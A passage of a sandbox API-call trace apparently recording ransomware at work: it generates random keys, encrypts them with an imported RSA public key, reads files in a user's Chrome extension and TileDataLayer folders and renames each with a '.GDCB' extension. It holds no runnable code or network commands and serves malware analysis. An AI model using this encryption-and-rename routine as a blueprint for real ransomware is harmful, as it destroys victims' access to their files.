szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0232.919] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x659ff38) returned 1 [0232.919] CryptGetKeyParam (in: hKey=0x659ff38, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0232.919] CryptEncrypt (in: hKey=0x659ff38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d30000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0x7d30000*, pdwDataLen=0x285db40*=0x100) returned 1 [0232.919] GetLastError () returned 0x0 [0232.919] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0232.919] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\EDB.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0232.922] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4e48) returned 1 [0232.925] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0232.926] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0232.926] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285db24 | out: pbBuffer=0x285db24) returned 1 [0232.926] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0232.927] CryptAcquireContextW (in: phProv=0x285d9d4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d9d4*=0x5c4760) returned 1 [0232.929] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0232.930] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0232.930] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285daf0 | out: pbBuffer=0x285daf0) returned 1 [0232.930] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0232.931] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4e48) returned 1 [0232.933] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x659ff78) returned 1 [0232.933] CryptGetKeyParam (in: hKey=0x659ff78, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0232.933] CryptEncrypt (in: hKey=0x659ff78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d40000*, pdwDataLen=0x285db3c*=0xc8, dwBufLen=0x800 | out: pbData=0x7d40000*, pdwDataLen=0x285db3c*=0x100) returned 1 [0232.933] GetLastError () returned 0x0 [0232.933] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0232.933] CryptAcquireContextW (in: phProv=0x285d9c4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d9c4*=0x5c4980) returned 1 [0232.935] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d9c8 | out: phKey=0x285d9c8*=0x659ffb8) returned 1 [0232.935] CryptGetKeyParam (in: hKey=0x659ffb8, dwParam=0x8, pbData=0x285d9b4, pdwDataLen=0x285d9bc, dwFlags=0x0 | out: pbData=0x285d9b4*=0x800, pdwDataLen=0x285d9bc*=0x4) returned 1 [0232.935] CryptEncrypt (in: hKey=0x659ffb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d50000*, pdwDataLen=0x285db40*=0xc8, dwBufLen=0x800 | out: pbData=0x7d50000*, pdwDataLen=0x285db40*=0x100) returned 1 [0232.935] GetLastError () returned 0x0 [0232.935] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0232.936] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\TileDataLayer\\Database\\vedatamodel.edb" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\tiledatalayer\\database\\vedatamodel.edb"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0232.988] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0232.990] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0232.992] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0232.992] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0232.992] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0232.992] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0232.994] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0232.996] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0232.996] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0232.996] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0232.996] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0232.998] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659fa78) returned 1 [0232.998] CryptGetKeyParam (in: hKey=0x659fa78, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0232.999] CryptEncrypt (in: hKey=0x659fa78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7d60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0232.999] GetLastError () returned 0x0 [0232.999] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0232.999] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0233.001] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x659fab8) returned 1 [0233.001] CryptGetKeyParam (in: hKey=0x659fab8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0233.001] CryptEncrypt (in: hKey=0x659fab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7d70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0233.001] GetLastError () returned 0x0 [0233.001] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.001] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0233.003] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d80000 [0233.005] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d90000 [0233.006] ReadFile (in: hFile=0x424, lpBuffer=0x7d90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7d90000*, lpNumberOfBytesRead=0x285d160*=0xd2c, lpOverlapped=0x0) returned 1 [0233.069] VirtualAlloc (lpAddress=0x0, dwSize=0xd30, flAllocationType=0x3000, flProtect=0x4) returned 0x7ea0000 [0233.075] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.gdcb")) returned 1 [0233.078] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0233.081] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.083] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.083] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0233.083] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.083] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0233.085] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.086] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.086] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0233.086] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.086] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0233.089] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6598578) returned 1 [0233.089] CryptGetKeyParam (in: hKey=0x6598578, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0233.089] CryptEncrypt (in: hKey=0x6598578, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7d60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0233.089] GetLastError () returned 0x0 [0233.089] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.089] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0233.091] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x65980b8) returned 1 [0233.091] CryptGetKeyParam (in: hKey=0x65980b8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0233.091] CryptEncrypt (in: hKey=0x65980b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7d70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0233.091] GetLastError () returned 0x0 [0233.091] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0233.091] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0233.093] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d80000 [0233.094] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d90000 [0233.096] ReadFile (in: hFile=0x424, lpBuffer=0x7d90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7d90000*, lpNumberOfBytesRead=0x285d160*=0xa0, lpOverlapped=0x0) returned 1 [0233.104] VirtualAlloc (lpAddress=0x0, dwSize=0xa0, flAllocationType=0x3000, flProtect=0x4) returned 0x7ea0000 [0233.109] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png.gdcb")) returned 1 [0233.193] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0233.195] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.197] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.197] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0233.197] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.197] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0233.199] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.200] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.201] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0233.201] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.201] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0233.203] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6598778) returned 1 [0233.203] CryptGetKeyParam (in: hKey=0x6598778, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0233.203] CryptEncrypt (in: hKey=0x6598778, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7d60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0233.203] GetLastError () returned 0x0 [0233.203] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.203] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0233.206] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6598638) returned 1 [0233.206] CryptGetKeyParam (in: hKey=0x6598638, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0233.206] CryptEncrypt (in: hKey=0x6598638, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7d70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0233.206] GetLastError () returned 0x0 [0233.206] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.206] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0233.207] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d80000 [0233.209] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d90000 [0233.211] ReadFile (in: hFile=0x424, lpBuffer=0x7d90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7d90000*, lpNumberOfBytesRead=0x285d160*=0x5c, lpOverlapped=0x0) returned 1 [0233.221] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x7ea0000 [0233.227] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.gdcb")) returned 1 [0233.231] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0233.233] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.234] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.234] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0233.234] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.235] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0233.236] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.237] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.237] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0233.237] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0233.237] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0233.240] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6598678) returned 1 [0233.240] CryptGetKeyParam (in: hKey=0x6598678, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0233.240] CryptEncrypt (in: hKey=0x6598678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d60000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x7d60000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0233.240] GetLastError () returned 0x0 [0233.240] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.240] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0233.242] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6598438) returned 1 [0233.242] CryptGetKeyParam (in: hKey=0x6598438, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0233.242] CryptEncrypt (in: hKey=0x6598438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7d70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x7d70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0233.242] GetLastError () returned 0x0 [0233.242] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0233.242] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0233.243] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7d80000 [0233.245] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7d90000 [0233.247] ReadFile (in: hFile=0x424, lpBuffer=0x7d90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x7d90000*, lpNumberOfBytesRead=0x285d160*=0x5f, lpOverlapped=0x0) returned 1 [0233.258] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0x7ea0000 [0233.263] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.js.gdcb")) returned 1 [0233.307] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0233.310] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0233.311] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0233.311] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0233.311] CryptReleaseContext (hProv=0x5c4e48, 